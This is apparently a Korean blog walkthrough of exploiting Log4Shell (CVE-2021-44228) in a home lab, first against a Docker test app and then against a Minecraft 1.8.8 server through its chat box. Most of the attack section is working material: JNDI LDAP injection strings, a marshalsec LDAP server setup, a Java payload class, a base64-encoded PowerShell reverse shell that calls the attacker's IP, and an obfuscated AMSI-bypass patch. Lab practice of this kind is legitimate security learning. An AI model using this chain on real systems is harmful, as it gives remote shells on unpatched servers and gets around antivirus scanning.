요 며칠 뜨거운 이슈인

Java Logging package Log4j의

취약점 실습을 해본다.

 

 

 

[개요]

CVE-2021-44228 is a remote code execution (RCE) vulnerability in Apache Log4j 2.

An unauthenticated, remote attacker could exploit this flaw by sending a specially crafted request to a server running a vulnerable version of log4j. The crafted request uses a Java Naming and Directory Interface (JNDI) injection via a variety of services including:

 

- Lightweight Directory Access Protocol (LDAP)

- Secure LDAP (LDAPS)

- Remote Method Invocation (RMI)

- Domain Name Service (DNS)

 

If the vulnerable server uses log4j to log requests, the exploit will then request a malicious payload over JNDI through one of the services above from an attacker-controlled server.

Successful exploitation could lead to RCE.

 

In the case of Minecraft, users were able to exploit this vulnerability by sending a specially crafted message through Minecraft chat.

 

(참고 : https://www.tenable.com/blog/cve-2021-44228-proof-of-concept-for-critical-apache-log4j-remote-code-execution-vulnerability)

 

 

 

Log4j는 Apache Software Foundation에서 개발한

Java Logging Framework로, 프로그램을 작성하는 도중

로그를 남기기 위해 사용되는 Java 기반의 로깅 유틸리티

 

 

2021년 11월 24일

Alibaba Cloud 보안 팀이

Apache Log4j RCE (Remote Code Execution)

취약점을 Apache에 공식 보고 후

 

 

CVE-2021-44228

CVSS 스코어 10점

 

 

해당 취약점은

Log4j 2 중에 존재하는 JNDI(Java Naming and Directory Interface)

Injection 취약점으로, 이를 악용하면 RCE가 가능하게 됨

 

 

보안이 취약한 제품 버전 :

Apache Log4j 2.0-beta9 ~ 2.14.1 모든버전

 

 

 


 

[기본실습]

0. Docker 설치

$ sudo apt update
$ sudo apt install -y docker.io 
$ sudo systemctl enable docker --now
$ docker
 

 

 

1. Github에서 Docker 컨테이너로 구성을 위한 파일 다운

https://github.com/leonjza/log4jpwn

# git clone https://github.com/leonjza/log4jpwn 
 

 

 

2. 내려 받은 프로젝트 폴더로 이동 후 , README.md 파일을 통해 사용법 확인

 

 

 

3. README.md 설명 순서대로 따라하기

3-1) Docker로 시스템 빌드

# docker build -t log4jpwn .
 

 

 

 

3-2) Docker로 log4jpwn 실행

# docker run --rm -p7979:8080 log4jpwn
 

기동 중...

새 터미널을 띄워 Docker IP 확인

# ip a s docker0
 

172.17.0.1

 

 

 

 

3-3) 리스너 기동

 

 

 

3-4) curl 커맨드로 User-Agent 헤더를 조작해 공격

curl -H 'User-Agent: ${jndi:ldap://172.17.0.1:8989/a}' localhost:7979
 

 

 

3-5) 공격 결과

침투 성공,

Docker 로그 기록에서 침투 기록 확인

 

 

 

 

 

[마인크래프트 활용 실습]

 

[윈도우 : 마인크래프트 세팅 순서]

윈도우에 자바 8버전 설치 > 마인크래프트 런처 설치 > 마인크래프트 1.8.8 서버 다운 >

파워쉘 실행 > 자바 버전 확인 > 마인크래프트 서버 기동 > 마인크래프트 런처 실행 >

새설치설정 만들기 후 플레이 > 멀티플레이 > 서버 생성 후 접속 > 대기

 

[칼리 리눅스 세팅 순서]

자바 8버전 설치 및 설정 (java + javac 모두 동일버전으로) >

Log4j JNDI execution을 위한 환경 내려받기 >

LDAP 서버 설치 및 기동 >

java payload 생성 및 javac로 컴파일 >

마인크래프트에서 명령어 실행

 

 

 

[윈도우]

0. Java jdk-8u181-windows-x64.exe 설치

https://repo.huaweicloud.com/java/jdk/8u181-b13/

 

 

1. 마인크래프트 런처 설치

https://www.minecraftdungeons.net/ko-kr/download/

 

 

2. papermc(페이퍼 마인크래프트) 1.8.8.jar 내려받기

https://www.dropbox.com/s/3yyas7bf4hrcwb0/%ED%94%84%EB%A6%AC%EB%A3%A8%ED%8A%B8_1.8.8_%EC%84%9C%EB%B2%84%EA%B5%AC%EB%8F%99%EA%B8%B0.zip?dl=0

 

2-1) 파워쉘 기동 > 자바 버전 확인 > papermc 1.8.8 서버 기동

기동중

 

 

3. 마인크래프트 런처 기동

 

게임에 접속 후 멀티플레이를 해야 실습이 가능한데

체험판으로는 멀티플레이가 불가능.

 

 

3-1) 정식버전 구매

xbox 게임 패스를 사용하면 천원에 구입가능!

 

 

3-2) 구매 및 설치 후 런처 실행

 

 

3-3) 취약 버전 설정

설치 설정 > 새 설치 설정 > 버전은 1.8.8로 설정

만들기 클릭 후 플레이

 

 

4. 멀티 플레이어 > Add server > 서버 추가 후 접속

멀티플레이어 들어가면 아래와 같이 접속창이 뜨고

Add server 버튼을 클릭해 서버를 개설해 주면되는데

서버 이름을 입력 후 자신의 IP를 확인한 뒤 입력해 방을 개설한다.

 

2-1 항목에서 서버를 미리 오픈해 두었기에

방금 개설한 방에 들어가게 되면 다음과 같이

로그인 정보가 로그로 쌓이는 것을 확인할 수 있다.

 

 

 

 

[칼리 리눅스]

5. 칼리에서 리스너 기동 후 RCE 실행

5-1) 칼리 IP 확인 후 리스너 기동

 

5-2) 마인크래프트 채팅창을 열고 (t 버튼) 공격 시도

${jndi:ldap://172.14.4.15:7979/a}   #칼리 IP와 포트
 

 

5-3) 침투 성공 확인!

로그 기록이 쌓인 것을 볼 수 있다.

취약점은 확인 되었고 이건 시작에 불과.

 

 

 

 

6. JNDI RCE 공격을 위한 LDAP 환경 구축

6-1) 칼리에서 자바 버전 설정 및 ldap 환경 설정

LDAP 환경 = https://github.com/mbechler/marshalsec

윈도우, 칼리 모두 자바 8버전이 깔려 있어야 한다.

 

 

6-1-1) 칼리 자바 8 버전 설치

http://mirrors.rootpei.com/jdk/

위 페이지에 들어가 [jdk-8u181-linux-x64.tar.gz] 파일을 받아 설치

# gzip -d jdk-8u181-linux-x64.tar.gz 
# tar xvf jdk-8u181-linux-x64.tar
 

 

6-1-2) 자바 환경변수 등록 및 설치

[주의 사항]

java / javac 모두 1.8.0_181 버전으로 설정해야 한다.

┌──(root💀takudaddy)-[~/Downloads/jdk1.8.0_181]
└─# cat /etc/environment                                                        1 ⚙
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games:/usr/lib/jvm/jdk1.8.0_181:/usr/lib/jvm/jdk1.8.0_181/bin:/usr/lib/jvm/jdk1.8.0_181/jre/bin
J2SDKDIR="/usr/lib/jvm/jdk1.8.0_181"
J2REDIR="/usr/lib/jvm/jdk1.8.0_181/jre"
JAVA_HOME="/usr/lib/jvm/jdk1.8.0_181"
DERBY_HOME="/usr/lib/jvm/jdk1.8.0_181"

# update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_181/bin/java" 0 
# update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_181/bin/javac" 0
# update-alternatives --set java /usr/lib/jvm/jdk1.8.0_181/bin/java
# update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac

# update-alternatives --config java
 

java 및 javac 셋업 완료

 

 

 

6-2) LDAP 환경 설정을 위한 repository 복사

# git clone https://github.com/mbechler/marshalsec 
 

 

 

6-3) LDAP 패키지 설치를 위한 maven 설치 및 패키지 설치

 

 

 

 

7. 호스트 서버에서 계산기 강제 실행

7-1) LDAP 서버 기동

https://github.com/xiajun325/apache-log4j-rce-poc

위 이미지의 3번 항목 마지막 커맨드가 ldap 서버 기동 커맨드

# java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://172.14.4.15:7979/#Log4jRCE"

1389 포트에서 ldap 서버 기동 중.

LDAPRefServer는 7979포트로 설정해 두었는데

공격 파일이 있는 경로에서

파이썬으로 웹 서버를 7979포트에 오픈한 뒤

마인크래프트에서 1389 포트 + 파일명을 호스팅 하면

해당 파일이 실행된다.

 

 

 

7-2) 자바 PoC

https://github.com/xiajun325/apache-log4j-rce-poc/tree/master/src/main/java

// 기본 log4j코드
public class Log4jRCE {

    static {
        System.out.println("I am Log4jRCE from remote!!!");
//        try {
//            String[] cmd = {"code"};
//            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
//        } catch (Exception e) {
//            e.printStackTrace();
//        }
    }

    public Log4jRCE(){
        System.out.println("I am Log4jRCE from remote222!!!");
    }
}

// 위를 기반으로 변형한 공격 코드 (계산기를 실행시키도록 한다)
public class Log4jRCE {
    static{
        try{
           Runtime.getRuntime().exec("calc.exe").waitFor();
        }catch(Exception e){
           System.out.println(e);
        }
    }
}
 

 

 

7-2-1) 자바 코드 컴파일

# javac Log4jRCE.java 
 

컴파일 후 .class 파일이 생성됨

 

이제 마인크래프트에서 ldap 서버를 통해

해당 파일을 호스트 하면

내 호스트 윈도우에서 계산기가 실행된다.

 

 

 

7-3) HTTP 서버 기동

준비가 끝났다.

 

 

 

 

8. 공격 실행

마인 크래프트에서 아래 커맨드를 실행,

LDAP 서버를 통해 컴파일해둔 자바 클래스 파일을 호스팅한다.

${jndi:ldap://172.14.4.15:1389/Log4jRCE}
 

그 결과,

호스팅한 파일이 정상적으로 작동하여

계산기 프로그램이 2번 실행된다.

로그를 보면,

 

 

 

 

9. 리버스 쉘을 사용한 시스템 침투

 

9-0) 선행 작업

윈도우의 방화벽 기능 모두 off

 

9-1) powershell one-liner 리버스 쉘

$client = New-Object System.Net.Sockets.TCPClient("172.14.4.15",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
 

 

9-2) 위 코드를 base64 방식으로 인코딩

https://raikia.com/tool-powershell-encoder/

powershell.exe -exec bypass -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAxADQALgA0AC4AMQA1ACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=
 

 

9-3) payload 업데이트

┌──(root💀takudaddy)-[~/log4j]
└─# cat Log4jRCE.java                                                             1 ⨯
public class Log4jRCE {
    static{
        try{
           Runtime.getRuntime().exec("powershell.exe -exec bypass -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAxADQALgA0AC4AMQA1ACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=").waitFor();
        }catch(Exception e){
           System.out.println(e);
        }
    }
}
 

 

9-4) 공격

리스너를 추가로 하나 기동해 준 뒤

마인크래프트에서 호스팅 시,

침투 성공!

 

 

 

[참고]

경우에 따라 AMSI에 걸릴 수 있기에

이를 우회하기 위해 아래 사이트에서 Rasta-mouses 우회 기법에

powershell one-liner 코드를 추가한 뒤 base64 방식으로

인코딩 후 payload를 업데이트 할 수 있다.

 

 

1. AMSI 우회 payload

https://amsi.fail/ 에서 rasta-mouses 방식 생성 후 reverse shell 추가하기

#Rasta-mouses Amsi-Scan-Buffer patch \n
$kxtyh = @"
using System;
using System.Runtime.InteropServices;
public class kxtyh {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr czxawl, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $kxtyh

$ivznqgu = [kxtyh]::LoadLibrary("$([cHar](97+55-55)+[CHAR](109)+[cHar]([byte]0x73)+[cHAr]([bYTe]0x69)+[ChaR]([bYte]0x2e)+[ChAR](26+74)+[ChaR](108+77-77)+[ChaR]([bYte]0x6c))")
$rbaiwq = [kxtyh]::GetProcAddress($ivznqgu, "$([ChAR](65)+[CHar]([byTe]0x6d)+[cHAr]([bYTE]0x73)+[ChAR](105)+[ChAR](83)+[ChAR](99+30-30)+[chAR]([Byte]0x61)+[cHAR]([BYte]0x6e)+[chAr](66)+[ChAR]([byte]0x75)+[ChAr]([BYte]0x66)+[CHAr]([byte]0x66)+[cHAr](101)+[ChAR]([byTE]0x72))")
$p = 0
[kxtyh]::VirtualProtect($rbaiwq, [uint32]5, 0x40, [ref]$p)
$uvkc = "0xB8"
$nokf = "0x57"
$ajsp = "0x00"
$vhna = "0x07"
$gmvj = "0x80"
$bvnd = "0xC3"
$bjuvz = [Byte[]] ($uvkc,$nokf,$ajsp,$vhna,+$gmvj,+$bvnd)
[System.Runtime.InteropServices.Marshal]::Copy($bjuvz, 0, $rbaiwq, 6)

$client = New-Object System.Net.Sockets.TCPClient("172.14.4.15",8989);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
 

 

 

2. 위 코드를 base64 방식으로 인코딩

인코딩 후,

위 사진의 하이라이트 부분을 복사해 사용한다.

 

 

3. 자바 payload 업데이트 후 컴파일,

마인크리프트에서 호스팅 하면,

침투 성공!

 

 

 

실습 종료

 

728x90

+ Recent posts